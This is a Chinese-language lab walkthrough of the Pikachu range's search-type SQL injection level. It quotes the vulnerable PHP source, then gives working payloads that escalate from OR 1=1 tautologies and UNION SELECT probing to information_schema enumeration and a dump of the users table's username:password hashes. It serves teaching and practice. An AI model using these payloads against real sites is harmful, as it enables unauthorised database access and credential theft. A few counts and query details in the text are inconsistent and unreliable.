目录
本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对搜索型注入关卡源码的代码审计找到SQL安全风险的真实原因,讲解搜索型注入的原理并进行渗透实践,本文为SQL注入03之搜索型注入关卡的渗透部分。
一、SQL注入
SQL注入是指攻击者通过在Web应用程序的输入字段(如表单、URL参数、Cookie等)中插入恶意的SQL语句片段,当应用程序将这些输入直接拼接到SQL查询语句中并执行时,攻击者插入的恶意SQL语句会被执行,从而实现对数据库的非法操作。
二、搜索型注入
搜索型注入是SQL注入的一种特殊形式,主要出现在网站搜索功能中,具有独特的攻击特点和利用方式。搜索型注入的基本特征大概如下所示。
出现场景:搜索框、筛选条件、动态查询等需要用户输入查询条件的功能
SQL模式:通常使用
LIKE
、CONCAT
等字符串操作函数输入处理:用户输入往往被包裹在百分号(
%
)或引号中
三、源码分析
打开pikachu靶场的SQL注入-字符型关卡对应的源码sqli_search.php,很明显查询语句没有对GET方法传入的参数name进行过滤,存在SQL注入风险,具体如下所示。
这段 PHP 代码的主要功能是处理一个通过 GET 方法提交的表单。当用户在 URL 中传递 submit 参数且 name 参数不为空时,代码会将用户输入的 name 作为条件,从 member 表中查询对应的 id 和 email 信息。如果查询到结果,则将用户的 id 和 email 信息以 HTML 段落的形式显示出来;如果没有查询到结果,则提示用户输入的 username 不存在。同时,代码还会根据当前脚本文件名设置导航栏的激活状态,并包含项目的头部文件、配置文件、功能函数文件和 MySQL 操作文件。
<?php
// 调用 connect 函数建立与数据库的连接,并将连接对象赋值给变量 $link
$link = connect();
// 初始化两个用于存储 HTML 内容的变量,$html1 用于存储查询结果相关的 HTML,$html2 用于存储提示信息相关的 HTML
$html1 = '';
$html2 = '';
// 检查是否通过 GET 方法提交了表单,并且表单中名为 'name' 的字段不为空
if (isset($_GET['submit']) && $_GET['name'] != null) {
// 从 GET 请求中获取名为 'name' 的字段的值,并将其赋值给变量 $name
$name = $_GET['name'];
// 构造一个 SQL 查询语句,使用 LIKE 关键字进行模糊匹配,将用户输入的 $name 直接拼接到查询语句中
// 此查询的目的是从 member 表中选取 username 包含用户输入值的记录的 username、id 和 email 字段
$query = "select username,id,email from member where username like '%$name%'";
// 调用 execute 函数执行构造好的 SQL 查询,$link 是数据库连接对象
$result = execute($link, $query);
// 检查查询结果集中的行数是否大于等于 1
// mysqli_num_rows 函数用于获取结果集中的行数
if (mysqli_num_rows($result) >= 1) {
// 这里存在 XSS(跨站脚本攻击)风险,直接将用户输入的 $_GET['name'] 输出到 HTML 中
$html2 .= "<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
// 当结果集中有记录时,使用 while 循环逐行获取结果集的数据
// mysqli_fetch_assoc 函数会以关联数组的形式返回结果集中的一行数据
while ($data = mysqli_fetch_assoc($result)) {
// 从关联数组 $data 中获取 'username' 字段的值,并赋值给变量 $uname
$uname = $data['username'];
// 从关联数组 $data 中获取 'id' 字段的值,并赋值给变量 $id
$id = $data['id'];
// 从关联数组 $data 中获取 'email' 字段的值,并赋值给变量 $email
$email = $data['email'];
// 将用户信息拼接成 HTML 字符串,添加到变量 $html1 中
$html1 .= "<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
}
} else {
// 如果结果集中没有记录,将提示信息拼接成 HTML 字符串,添加到变量 $html1 中
$html1 .= "<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
}
}
?>
此代码存在 SQL 注入安全风险的根本原因在于对用户输入的 $name 没有进行任何过滤和验证,就直接将其拼接到 SQL 查询语句里。由于使用了 LIKE 关键字进行模糊匹配,且 $name 被包含在单引号和 % 之间,攻击者可以利用这一特性构造恶意输入。
select username,id,email from member where username like '%$name%'
1、渗透思路1
攻击者在 URL 中输入 ?submit=搜索&name=xxx%' OR '1'='1 ,实际执行的 SQL 查询如下所示。
select username,id,email from member where username like '%xxx%' OR '1'='1'
因为 '1'='1'
恒为真,这个查询会返回 member
表中的所有记录,攻击者借此就能获取到所有用户的username,id
和 email
信息。
2、渗透思路2
也可以URL 中输入 ?submit=搜索&name=xxx%' OR 1=1#,其中#注释掉了原本的单引号,实际执行的 SQL 查询如下所示。
select username,id,email from member where username like '%xxx%' OR 1=1#'
四、渗透实战
1、渗透准备
打开靶场SQL注入第三关搜索型注入,完整URL链接如下所示。
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php
输入已知账户“lili”,页面显示了用户名、用户id和邮箱信息,这与代码审计的分析一致。根据此时URL地址可知GET方法传入的参数为name。
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=lili&submit=%E6%90%9C%E7%B4%A2
2、SQL注入探测
(1)输入百分号单引号
根据源码我们知道name为字符型注入点,那么我们从页面上能否发现有SQL注入呢?其实也是可疑的,在lili加上单引号,报错信息说明有注入风险,如下所示。
lili%'
完整的报错信息为“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1”。
(2)万能注入语句
接下来尝试万能注入语句,判断闭合语句,在数字后加上单引号 or= 1=1#万能注入语句,其中单引号是为了构造闭合,如下所示。
lili%' or 1=1#
3、获取回显列orderby
使用order by判断其可回显的字段,如下所示最终判断其回显列数为3个。
lili%' order by 5#
lili%' order by 3#
lili%' union select 1,2,3#
由于回显位共3个,且通过orderby获知仅有3列,故而可知这3列已经全部显示出来了,即第一个回显位、第二个回显位和第三个回显位都有效。
4、获取数据库名database
lili%' union select database(),user(),version()#
输入lili' union select database(),user(),version()#后注入成功,显示信息为3个,第一个获取到数据库名为pikachu,第二个获取到用户为root@localhost,第三个获取到版本号为5.7.26,具体如下所示。
接下来修改union前面的字符串,使前面内容为不存在的用户名,使只输出union后面的内容。
-1%' union select database(),user(),version()#
输入id=-1 union select database(),user(),version()#后注入成功,显示信息为1个,可以直接获取到数据库名为pikachu,用户名为root@localhost,版本号为5.7.26,具体如下所示。
5、获取表名table
对pikchu数据库中表名进行爆破,注入命令如下所示。
id=-1%' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#
渗透后获取到数据库pikachu表有4个table,分别为httpinfo,member,message,users,xssblind,如下所示。
6、获取列名column
对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。
-1%' union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name='users'#
渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。
7、获取字段
对pikachu数据库中users表的username、password列进行爆破,命令如下所示。
-1%' union select 1,2,group_concat(username,':',password) from pikachu.users#
渗透后获取到数据库users表的username、password字段如下所示,渗透成功。
admin:e10adc3949ba59abbe56e057f20f883e,pikachu:670b14728ad9902aecba32e22fa4f6bd,test:e99a18c428cb38d5f260853678922e03